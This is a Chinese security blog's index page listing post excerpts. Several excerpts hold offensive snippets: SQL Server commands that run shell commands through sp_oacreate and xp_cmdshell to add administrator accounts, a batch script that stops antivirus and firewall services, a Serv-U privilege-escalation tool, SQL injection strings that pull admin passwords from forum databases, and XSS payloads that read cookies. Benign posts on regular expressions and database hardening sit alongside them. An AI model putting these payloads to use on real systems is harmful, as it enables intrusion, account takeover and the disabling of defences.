simeon2005的博客_经典代码收集

通用PHP版Exploit框架编写

0×01 前言无常规漏洞时代的到来，使得市面上目前很多流行的注入测试工具都无法胜任那些非常规的注入点，而脚本的灵活性可以很方便对这些非常规的注入点进行测试，最常见的应用莫过于通过脚本进行HTTP包的转发，配合注入测试工具进行注入的了。而今天想探讨的主要是PHP版的Exp的编写，直接通过脚本来达到注入或者批量GetShell的目的. 0×02 PHP的WinSock函数PHP的

通用PHP版Exploit框架编写

转载 2017-10-24 15:47:24 2947 阅读

Discuz!常用函数解析（续）

/*** 产生随机码* @param $length - 要多长* @param $numberic - 数字还是字符串* @return 返回字符串*/function random($length, $numeric = 0) { PHP_VERSION < '4.2.0' && mt_s

职场

休闲

Discuz!

常用函数解析（续）

转载精选 2009-09-12 14:22:36 4169 阅读 1评论

Discuz!常用函数解析

职场

休闲

Discuz!

常用函数解析

转载精选 2009-09-12 14:21:58 3602 阅读

ASPSecurity SQL 防注入

SQL

数据库

休闲

ASPSecurity

防注入

原创 2008-11-18 16:21:24 1829 阅读

serv-u asp提权代码

<title>Serv-U TOOL</title><style type="text/css">body { background-color: #333333;}a:hover {text-decoration: none;color: #FF0000;}a:active {text-decoration: none;color: #FF0000;}.but

代码

asp

提权

serv-u

休闲

转载精选 2008-11-14 11:31:52 1923 阅读

韩文操作系统启动项

韩文的启动目录是： C:\Documents and Settings\All Users\시작 메뉴\프로그램\시작프로그램\ 繁体中文启动目录： C:\Documents and S

职场

启动项

操作系统

休闲

韩文

转载精选 2008-10-20 09:38:01 1005 阅读

利用正则表达式限制网页表单里的文本框输入内容

利用正则表达式限制网页表单里的文本框输入内容将以下代码放入输入框就可以了。（1）用正则表达式限制只能输入中文：onkeyup="value=value.replace(/[^\u4E00-\u9FA5]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\

文本框

其他

休闲

表达式

利用正则

原创 2008-10-20 08:39:35 1321 阅读

正则表达式

正则表达式　　是由普通字符（例如字符 a 到 z）以及特殊字符（称为元字符）组成的文字模式。正则表达式作为一个模板，将某个字符模式与所搜索的字符串进行匹配。　　可以通过在一对分隔符之间放入表达式模式的各种组件来构造一个正则表达式，即/expression/ 普通字符　　由所有那些未显式指定为元字符的打印和非打印字符组成。这包括所有的大写和小写字母字符，所有数字，所有标点符号以及一

职场

正则表达式

休闲

转载精选 2008-10-20 08:14:44 1012 阅读

自动登录telnet批处理文件

自动登录telnet批处理文件一。Windows平台：复制一下代码到记事本中并另保存为autoTelnet.bat，之后双击运行就实现自动登录到telnet服务器了，服务器IP自己修改@echo offecho set sh=WScript.CreateObject("WScript.Shell") >telnet_tmp.vbsecho WScript.Sleep 300 >>

批处理

文件

登录

telnet

自动

原创 2008-05-29 09:26:38 7056 阅读 1点赞

SQL Server 2000渗透技术研究

使用oacreate以及oamethod来执行命令。 declare @shell intexec sp_oacreate 'wscript.shell',@shell outexec sp_oamethod @shell ,'run',null,'net user simeon simeon /add'exec sp_oamethod @shell ,'run',null,'net local

技术

数据库

研究

休闲

原创 2008-05-28 15:48:57 1274 阅读

1433扫描dos命令

start xiaofeng\a.bat@echo offcolor 0Aecho +==============================================================================+echo +

命令

dos

扫描

安全技术

休闲

转载精选 2008-05-25 21:44:02 4513 阅读 1点赞

关闭防火墙和杀毒软件的脚本

@echo offnet stop "Ecengine.exe" /ynet stop "eSafe Protect Desktop" /ynet stop "Esafe.exe" /ynet stop "Espwatch.exe" /ynet stop "eTrust EZ Firewall" /ynet stop "F-Agnt95.exe" /ynet stop "Findviru.exe"

关闭

杀毒软件

防火墙

脚本

休闲

原创 2008-05-20 22:13:48 2749 阅读

将exe文件生成bat的vbs脚本

fp=wscript.arguments(0)fn=right(fp,len(fp)-instrrev(fp,"\"))with createobject("adodb.stream").type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)end withsll=sl mod 65536:slh=sl\65536with createobject

exe文件

休闲

bat

生成

vbs脚本

原创 2008-05-20 22:10:37 2968 阅读 1收藏

一些安全辅助脚本

type c:\boot.ini Echo Dim ReadComputerName >>port.vbsEcho Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>port.vbsEcho Dim TSName,TSRegPath >>port.vbsEcho TSRegPath="HKL

职场

安全

脚本

休闲

辅助

原创 2008-05-20 22:08:46 1210 阅读 1收藏

SQL server 数据库危险存储过程删除与恢复

SQL的扩展的删除与恢复删除use master exec sp_dropextendedproc 'xp_cmdshell' exec sp_dropextendedproc 'xp_dirtree' exec sp_dropextendedproc 'xp_enumgroups' exec sp_dropextendedproc 'xp_fixeddrives' exec

SQL

server

危险

数据库

存储

原创 2008-05-18 08:50:41 2042 阅读

sql代码收集

在查询中添加用户 exec xp_cmdshell 'net user test test2005 /add'exec xp_cmdshell 'net localgroup administrators test /add'exec xp_cmdshell 'net localgroup users test /delete'exec xp_cmdshell 'net u

职场

数据库

休闲

sql代码

原创 2008-05-18 08:49:51 1489 阅读

php注入代码收集之一

boardrule.php?groupboardid=11111/**/union/**/select/**/concat(user(),0x3f,database(),0x3f,version())/*/**/union/**/select/**/concat(username,0x3f,password,0x3f,adduser)/**/from /**/dv_admin/*/**/union

php

职场

休闲

注入代码

原创 2008-04-14 22:39:16 1294 阅读 1收藏

XSS攻击测试语句大全

><script>alert(document.cookie)</script> =’><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>al

攻击

测试

XSS

休闲

语句

转载精选 2008-04-09 12:22:30 8288 阅读 1点赞 6评论

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

小兵搞安全

通用PHP版Exploit框架编写

Discuz!常用函数解析（续）

Discuz!常用函数解析

ASPSecurity SQL 防注入

serv-u asp提权代码

韩文操作系统启动项

利用正则表达式限制网页表单里的文本框输入内容

正则表达式

自动登录telnet批处理文件

SQL Server 2000渗透技术研究

1433扫描dos命令

关闭防火墙和杀毒软件的脚本

将exe文件生成bat的vbs脚本

一些安全辅助脚本

SQL server 数据库危险存储过程删除与恢复

sql代码收集

php注入代码收集之一

XSS攻击测试语句大全

欢迎